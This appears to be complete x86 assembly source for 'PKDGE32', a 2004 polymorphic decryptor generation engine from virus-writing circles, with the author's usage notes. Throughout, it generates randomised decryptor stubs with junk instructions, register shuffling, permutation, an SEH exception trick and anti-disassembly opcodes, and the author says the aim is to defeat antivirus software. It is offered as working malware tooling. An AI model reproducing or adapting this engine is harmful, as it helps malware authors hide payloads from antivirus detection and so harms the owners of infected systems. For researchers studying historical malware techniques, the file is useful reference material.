;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this.  Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code.  The generated  decryptor uses random registerz,  with
; junk code inserted,  and it's  instruction-permutable.  When coding,  I found
; that the name  'decrypt generation engine'  is more  appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
;                   mov     Rw,offset code2decrypt      ; (1)
;                   mov     Rz,decrypt_size             ; (2)
; decrypt_loop:     xor     byte [Rw],imm8              ; (3)
;                   inc     Rw                          ; (4)
;                   dec     Rz                          ; (5)
;                   jnz     decrypt_loop                ; (6)
;
; As we can see,  I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this  means  the we can use random registerz in the decrypt code.  The engine
; can  select  random  registerz to generate each instruction.  Meanwhile,  the
; first 2  instructionz are  permutable,  so the engine will put the 2 instruc-
; tionz in a random order.  Also,  we know that some of the instructionz can be
; replaced by other instructionz that performed the same.  For example,  we can
; use PUSH/POP to replace MOV XXX/XXX, etc.  Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz.  And of course,  there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start:            call    setup_seh                   ; (1)
;                   mov     esp,[esp+8]                 ; (2)
;                   jmp     end_seh                     ; (3)
; setup_seh:        xor     Rx,Rx                       ; (4)
;                   push    dword [fs:Rx]               ; (5)
;                   mov     [fs:Rx],esp                 ; (6)
;                   dec     dword [Rx]                  ; (7)
;                   jmp     start                       ; (8)
; end_seh:          xor     Ry,Ry                       ; (9)
;                   pop     dword [fs:Ry]               ; (10)
;                   pop     Rz                          ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h      db      90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,decryptor
;                   mov     esi,rng_seed
;                   mov     ebx,crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor         db      40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed          dd          ?
;
; gen_decrytpor:    mov     edi,offset decryptor
;                   mov     esi,offset rng_seed
;                   mov     ebx,offset crypt_code
;                   mov     ecx,crypted_size
;                   mov     edx,9ah
;                   call    __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor,  so we can fix this value after generating the decryptor. This
; means  we  can replace the code which to be decrypt anywhere after generating
; the  decrypt  code.  We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h    db   0
;
; gen_decrytpor:    mov     edi,col_code
;                   mov     esi,rng_seed
;                   mov     ecx,crypted_size
;                   mov     ebx,12345678h
;                   mov     edx,12345678h
;                   call    __pkdge32
; fix_address:      mov     esi,edi
;                   xchg    eax,edi
;                   stosd
;                   xchg    esi,edi
; copy_code:        mov     esi,crypt_code
;                   mov     ecx,crypted_size
;                   rep     movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;


;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This  is  the main procedure of the engine.  It controlz the whole generation
; process,  including SEH setup, instruction  generation,  junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       ecx --- decrypt buffer size (counter in bytez)
;       edx --- decrypt key
;       edi --- pointz to the buffer to save decryptor
;       ebx --- pointz to the buffer where saved the encrypted code
;       esi --- pointz to the RNG seed buffer
;
; Output:
;       edi --- the end of the decryptor
;       eax --- pointz  to  the  address of the code which will be decrypted in
;               the  decryptor,  this means we can place the code which will be
;               decrypted anywhere by fixing the value pointed by EAX
;

__pkdge32:      pushad
                xor     ebp,ebp
                xchg    esi,edi                 ; initialize the RNG seed
                call    __randomize             ; ...
                xchg    esi,edi                 ; ...

;
; First,  we select four random  registerz for later use.  These four registerz
; are all different
;

                xor     ebx,ebx                 ; used to save Rw, Rz, Rx, Ry
                call    pkdg_sel_reg
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al
                call    pkdg_sel_reg
                shl     ebx,4
                or      bl,al

;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;

                push    edi
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0e8h                 ; seh instruction 1
                stosb                           ; ...
                stosd                           ; addr 1, no matter what, fix l8r
                push    edi                     ; save addr1 to fix
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0824648bh           ; seh instruction 2
                stosd                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 3
                stosb                           ; ...
                stosb                           ; addr 2, no matter what, fix l8r
                push    edi                     ; save addr2 to fix
                mov     eax,[esp+4]             ; fix addr1
                xchg    edi,eax                 ; ...
                sub     eax,edi                 ; ...
                sub     edi,4                   ; ...
                stosd                           ; ...
                add     edi,eax                 ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 4
                and     ah,7                    ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,7                   ; ...
                shl     ebx,11                  ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,0ff64h              ; seh instruction 5
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,30h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8964h               ; seh instruction 6
                stosw                           ; ...
                mov     al,bl                   ; ...
                and     eax,7                   ; ...
                or      al,20h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     ah,bl                   ; seh instruction 7
                and     eax,700h                ; ...
                or      eax,08ffh               ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,0ebh                 ; seh instruction 8
                stosb                           ; ...
                mov     eax,[esp+8]             ; ...
                sub     eax,edi                 ; ...
                dec     eax                     ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                pop     eax                     ; fix addr2
                xchg    eax,edi                 ; ...
                sub     eax,edi                 ; ...
                dec     edi                     ; ...
                stosb                           ; ...
                add     edi,eax                 ; ...
                mov     ah,bh                   ; seh instruction 9
                and     eax,700h                ; ...
                or      eax,0c031h              ; ...
                push    ebx                     ; ...
                and     ebx,700h                ; ...
                shl     ebx,3                   ; ...
                or      eax,ebx                 ; ...
                pop     ebx                     ; ...
                stosw                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     eax,8f64h               ; seh instruction 10
                stosw                           ; ...
                mov     al,bh                   ; ...
                and     eax,7                   ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                mov     al,bh                   ; seh instruction 11
                and     al,7                    ; ...
                or      al,58h                  ; ...
                stosb                           ; ...
                xor     eax,eax                 ; some junk code
                call    __pkdge32_junk          ; ...
                add     esp,8                   ; balance the stack

;
; Now,  generate the first two  instructionz with junk codez between them,  and
; permute the two instructionz in a random order.
;

                mov     ecx,2
                call    __random_rdtsc
                or      ecx,ecx
                jz      pkdg_gen_12
                call    pkdg_gen_1
                call    pkdg_gen_2
                jmp     pkdg_gen_f2f
pkdg_gen_12:    call    pkdg_gen_2
                call    pkdg_gen_1

;
; The last step, we generate the last four instructionz with junk codez in them
; these  four  instructionz must in the same order,  but the registerz they use
; are still random
;

pkdg_gen_f2f:   mov     esi,[esp+4]             ; restore ESI
                push    edi                     ; save loop address

                push    esi
                mov     eax,ebx                 ; xor byte [Rw],Imm8
                shr     eax,12                  ; ...
                and     al,7                    ; ...
                mov     esi,[esp+28]            ; ...
                call    __pkdge32_gen_xor_reg_imm
                pop     esi
                xor     eax,eax
                call    __pkdge32_junk

                mov     eax,ebx                 ; inc Rw
                shr     eax,12                  ; ...
                and     eax,7                   ; ...
                or      al,40h
                stosb
                xor     eax,eax
                call    __pkdge32_junk

                mov     eax,ebx                 ; dec Rz
                shr     eax,4                   ; ...
                and     eax,7                   ; ...
                or      al,48h                  ; ...
                stosb                           ; ...

                pop     eax                     ; jnz decrypt_loop
                sub     eax,edi                 ; get delta
                dec     eax                     ; ...
                dec     eax                     ; ...
                push    eax
                mov     al,75h                  ; write opcode
                stosb                           ; ...
                pop     eax
                stosb                           ; write operand
                xor     eax,eax
                call    __pkdge32_junk

                mov     [esp],edi               ; save new EDI
                popad
                ret

pkdg_gen_1:     mov     esi,[esp+20]            ; get offset code2decrypt
                mov     eax,ebx                 ; get Rw
                shr     eax,12                  ; ...
                call    pkdge32_gen12
                mov     [esp+32],eax            ; save offset of code2decrypt
                ret
pkdg_gen_2:     mov     esi,[esp+28]            ; get decrypt_size
                mov     eax,ebx                 ; get Rz
                shr     eax,4                   ; ...
                and     eax,0fh                 ; ...
                call    pkdge32_gen12
                ret

;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;

pkdge32_gen12:  push    ecx
                push    eax                     ; save mask
                mov     ecx,2                   ; determine using MOV REG/IMM
                call    __random_rdtsc          ; or PUSH IMM/POP REG
                or      eax,eax
                pop     eax                     ; restore mask
                pop     ecx
                jz      pkdg_g123_0
                call    __pkdge32_gen_mov_reg_imm
                push    edi
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret
pkdg_g123_0:    call    __pkdge32_gen_pushimm_popreg
                push    eax
                xor     eax,eax
                mov     esi,[esp+16]
                call    __pkdge32_junk
                pop     eax
                sub     eax,4
                ret

;
; This procudure selectz the random register Rw, Rx, Ry, Rz.  The function will
; make EBX to the following structure:
;
;   31                      15                          0
;   +-----+-----+-----+-----+------+------+------+------+
;   |  0  |  0  |  0  |  0  |  Rw  |  Ry  |  Rz  |  Rx  |
;   +-----+-----+-----+-----+------+------+------+------+
;

pkdg_sel_reg:   mov     eax,[esp+8]             ; select random register
                mov     edx,8                   ; ...
                call    __random                ; ...
                or      al,al
                jz      pkdg_sel_reg            ; don't use EAX
                cmp     al,4
                jz      pkdg_sel_reg            ; don't use ESP
                cmp     al,5
                jz      pkdg_sel_reg            ; don't use EBP
                or      al,8                    ; DWORD type

                push    ebx
                and     ebx,0fh
                cmp     bl,al                   ; R == Rx ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,4
                and     ebx,0fh
                cmp     bl,al                   ; R == Rz ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,8
                cmp     bl,al                   ; R == Ry ?
                pop     ebx
                jz      pkdg_sel_reg

                push    ebx
                shr     ebx,12
                cmp     bl,al                   ; R == Rw ?
                pop     ebx
                jz      pkdg_sel_reg
                ret


;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All  the  register  mask  in  the  engine  (PKDGE32) measure up this formula:
; bit  2~0  specifies the register mask,  bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 |  type  |
; +-------+-------+--------+
; |   x   |   0   |  byte  |
; +-------+-------+--------+
; |   0   |   1   | dword  |
; +-------+-------+--------+
; |   1   |   1   |  word  |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H.  If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing
;

__pkdge32_test_regmask:
                test    ah,1
                jz      pkdg_trm_ret
                push    eax
                mov     al,66h
                stosb
                pop     eax
pkdg_trm_ret:   ret


;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_mov_reg_imm:
                call    __pkdge32_test_regmask
                push    esi
                or      al,0b0h                 ; generate opcode
                stosb                           ; ...
                xchg    eax,esi                 ; EAX get the operand
                shr     esi,4
                jc      pkdg_gmri_dw            ; word/dword ? byte ?
                stosb                           ; byte
                pop     esi
                ret
pkdg_gmri_dw:   shr     esi,5
                pop     esi
                jc      pkdg_gmri_w
                stosd                           ; dword
                ret
pkdg_gmri_w:    stosw                           ; word
                ret


;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       edi --- pointz to the buffer to save the instructionz
;       esi --- immediate number (source operand)
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_pushimm_popreg:
                call    __pkdge32_test_regmask
                push    ecx
                mov     ecx,esi                 ; save IMM in ecx
                xchg    esi,eax
                test    esi,8                   ; test BYTE or WORD/DWORD
                jz      pkdg_gpp_b
                mov     al,68h                  ; push WORD/DWORD
                stosb                           ; write opcode
                xchg    eax,ecx                 ; get IMM
                test    esi,100h                ; test WORD or DWORD
                jnz     pkdg_gpp_w
                stosd                           ; write operand
                jmp     pkdg_gpp_pop
pkdg_gpp_w:     stosw
                jmp     pkdg_gpp_pop
pkdg_gpp_b:     mov     al,6ah                  ; push BYTE
                stosb                           ; write opcode
                mov     al,cl                   ; get IMM
                stosb                           ; write operand
pkdg_gpp_pop:   push    edi
                xor     eax,eax
                push    esi
                mov     esi,[esp+28]
                call    __pkdge32_junk
                pop     esi
                call    __pkdge32_test_regmask
                xchg    esi,eax
                or      al,58h                  ; generate POP opcode
                stosb                           ; write pop REG opcode
                pop     eax
                pop     ecx
                ret


;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- register mask
;       esi --- the immediate number
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Generate a instruction in the buffer EDI pointed, EDI pointz to the new
;       position in the buffer
;

__pkdge32_gen_xor_reg_imm:
                call    __pkdge32_test_regmask
                test    al,1000b
                jnz     pkdg_gxri_dw
                and     eax,7                   ; register mask
                xchg    al,ah
                or      eax,3080h
                stosw
                xchg    eax,esi
                stosb
                ret
pkdg_gxri_dw:   push    eax
                and     eax,7                    ; register mask
                xchg    al,ah
                or      eax,3081h
                stosw
                xchg    eax,esi
                pop     esi
                shr     esi,9
                jc      pkdg_gxri_w
                stosd                           ; dword
                ret
pkdg_gxri_w:    stosw                           ; word
                ret


;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator.  It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This  procedure use EAX as junk  register in order to  generate  instructionz
; like:
;
;               mov     eax,21343ab7h
;               shr     eax,8
; or:
;               push    eax
;               rol     eax,1
;               pop     eax
; etc.
;
; It generatez dummy jumpz such as:
;
;               call    @1
;               junk
;               jmp     @3
; @2:           junk
;               ret
; @1:           junk
;               jmp     @2
; @3:           junk
;
; It also generatez anti-static-debugging opcodez such as:
;
;               jmp     @0
;               db      e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
;       eax --- If eax equalz to zero,  the function generatez random length of
;               instructionz,  if  eax is nonzero,  the  function  generatez  a
;               certain length of instruction.
;       esi --- pointz to the RNG seed buffer
;       edi --- pointz to the buffer to save the instructionz
;
; Output:
;       Nothing but junk codez in the buffer that EDI specified
;

__pkdge32_junk: pushad
                xor     ebx,ebx
                xchg    esi,ebp             ; let EBP hold the seed ptr.
                or      eax,eax             ; EAX containz number from 0~7
                jnz      pkdg_js            ; 0~5: gen. 0~5 bytez of junk codez
                mov     edx,7               ; 6: generate dummy jumpz
                mov     eax,ebp
                call    __random            ; ...
pkdg_js:        or      eax,eax             ; 0: nothing to do
                jz      pkdg_j_ret          ; just go back
                xchg    ecx,eax             ; let ECX hold that number
                cmp     ecx,6
                jz      pkdg_j_dj

;
; Generate certain length simpile instructionz
;

pkdg_j_gclsi:   mov     edx,ecx
                mov     eax,ebp
                call    __random
                or      eax,eax
                jz      pkdg_j_g1b
                dec     eax
                jz      pkdg_j_g2b
                dec     eax
                jz      pkdg_j_g3b
                dec     eax
                dec     eax
                jz      pkdg_j_g5b
                jmp     pkdg_j_gclsi

;
; Generate 5-byte instruction
;

pkdg_j_g5b:     call    pkdg_j_5
                db      0b8h                ; mov  eax,imm32
                db      05h                 ; add  eax,imm32
                db      15h                 ; adc  eax,imm32
                db      2dh                 ; sub  eax,imm32
                db      1dh                 ; sbb  eax,imm32
                db      3dh                 ; cmp  eax,imm32
                db      0a9h                ; test eax,imm32
                db      0dh                 ; or   eax,imm32
                db      25h                 ; and  eax,imm32
                db      35h                 ; xor  eax,imm32
pkdg_j_5:       pop     esi
                mov     eax,ebp
                mov     edx,10
                call    __random
                add     esi,eax
                movsb
                mov     eax,ebp
                mov     edx,0fffffffch
                call    __random
                inc     eax
                inc     eax
                stosd
                sub     ecx,5               ; decrease counter
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi

;
; Generate 3-byte instruction
;

pkdg_j_g3b:     call    pkdg_j_3
                db      0c1h,0e0h           ; shl eax,imm8
                db      0c1h,0e8h           ; shr eax,imm8
                db      0c1h,0c0h           ; rol eax,imm8
                db      0c1h,0c8h           ; ror eax,imm8
                db      0c1h,0d0h           ; rcl eax,imm8
                db      0c1h,0d8h           ; rcr eax,imm8
                db      0c0h,0e0h           ; shl al,imm8
                db      0c0h,0e8h           ; shr al,imm8
                db      0c0h,0c0h           ; rol al,imm8
                db      0c0h,0c8h           ; ror al,imm8
                db      0c0h,0d0h           ; rcl al,imm8
                db      0c0h,0d8h           ; rcr al,imm8
                db      0ebh,01h            ; anti-static-debugging instr.
pkdg_j_3:       pop     esi
                mov     eax,ebp
                mov     edx,13
                call    __random
                shl     eax,1               ; EAX *= 2
                add     esi,eax
                movsw
                cmp     eax,24
                jge     pkdg_j3_anti
                mov     eax,ebp
                mov     edx,14
                call    __random
                inc     eax
                inc     eax
pkdg_j_3f:      stosb
                sub     ecx,3               ; decrease counter
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi
pkdg_j3_anti:   mov     eax,ebp
                mov     edx,10h
                call    __random
                add     al,70h
                jmp     pkdg_j_3f

;
; Generate 2-byte instruction
;

pkdg_j_g2b:     call    pkdg_j_2
                db      89h                 ; mov  eax,reg
                db      01h                 ; add  eax,reg
                db      11h                 ; adc  eax,reg
                db      29h                 ; sub  eax,reg
                db      19h                 ; sbb  eax,reg
                db      39h                 ; cmp  eax,reg
                db      85h                 ; test eax,reg
                db      09h                 ; or   eax,reg
                db      21h                 ; and  eax,reg
                db      31h                 ; xor  eax,reg
                db      0b0h                ; mov  al,imm8
                db      04h                 ; add  al,imm8
                db      14h                 ; adc  al,imm8
                db      2ch                 ; sub  al,imm8
                db      1ch                 ; sbb  al,imm8
                db      3ch                 ; cmp  al,imm8
                db      0a8h                ; test al,imm8
                db      0ch                 ; or   al,imm8
                db      24h                 ; and  al,imm8
                db      34h                 ; xor  al,imm8
pkdg_j_2:       pop     esi
                mov     eax,ebp
                mov     edx,20
                call    __random
                add     esi,eax
                movsb                       ; write the opcode
                cmp     eax,10
                jge     pkdg_j2_imm8
                mov     eax,ebp
                mov     edx,8
                call    __random
                shl     eax,3               ; dest. operand
                or      al,0c0h             ; ...
                jmp     pkdg_j2_f
pkdg_j2_imm8:   mov     eax,ebp
                mov     edx,100h
                call    __random
pkdg_j2_f:      stosb
                dec     ecx                 ; decrease counter
                dec     ecx                 ; ...
                jz      pkdg_j_rptr
                jmp     pkdg_j_gclsi

;
; Generate 1-byte instruction
;

pkdg_j_g1b:     call    pkdg_j_1
                db      90h                 ; nop
                db      0f8h                ; clc
                db      0f9h                ; stc
                db      40h                 ; inc eax
                db      48h                 ; dec eax
                db      37h                 ; aaa
                db      3fh                 ; aas
                db      98h                 ; cbw
                db      0fch                ; cld
                db      0f5h                ; cmc
                db      27h                 ; daa
                db      2fh                 ; das
                db      9fh                 ; lahf
                db      0d6h                ; salc
pkdg_j_1:       pop     esi
                mov     eax,ebp
                mov     edx,14
                call    __random
                add     esi,eax
                movsb                       ; write the code
                dec     ecx                 ; decrease counter
                or      ecx,ecx
                jnz     pkdg_j_gclsi
pkdg_j_rptr:    mov     [esp],edi
pkdg_j_ret:     popad
                ret

;
; Generate  dummy jumpz.  the  generation formula show in the decription of the
; __pkdge32_junk procedure
;

pkdg_j_dj:      mov     al,0e8h             ; call xxxxxxxx
                stosb                       ; ...
                stosd                       ; addr1, no matter what, fix l8r
                push    edi
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0ebh             ; jmp xx
                stosb                       ; ...
                stosb                       ; addr2, no matter what, fix l8r
                push    edi
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0c3h             ; ret
                stosb                       ; ...
                mov     eax,[esp+4]         ; fix addr1
                xchg    eax,edi             ; ...
                sub     eax,edi             ; ...
                sub     edi,4               ; ...
                stosd                       ; ...
                add     edi,eax             ; ...
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                mov     al,0ebh             ; jmp xx
                stosb                       ; ...
                mov     eax,[esp]           ; ...
                sub     eax,edi             ; ...
                dec     eax                 ; ...
                stosb                       ; ...
                pop     eax                 ; fix addr2
                xchg    eax,edi             ; ...
                sub     eax,edi             ; ...
                dec     edi                 ; ...
                stosb                       ; ...
                add     edi,eax             ; ...
                pop     eax                 ; pop a shit
                mov     eax,ebp             ; some more junx
                mov     edx,6               ; ...
                call    __random            ; ...
                mov     esi,ebp             ; ...
                call    __pkdge32_junk      ; ...
                jmp     pkdg_j_rptr
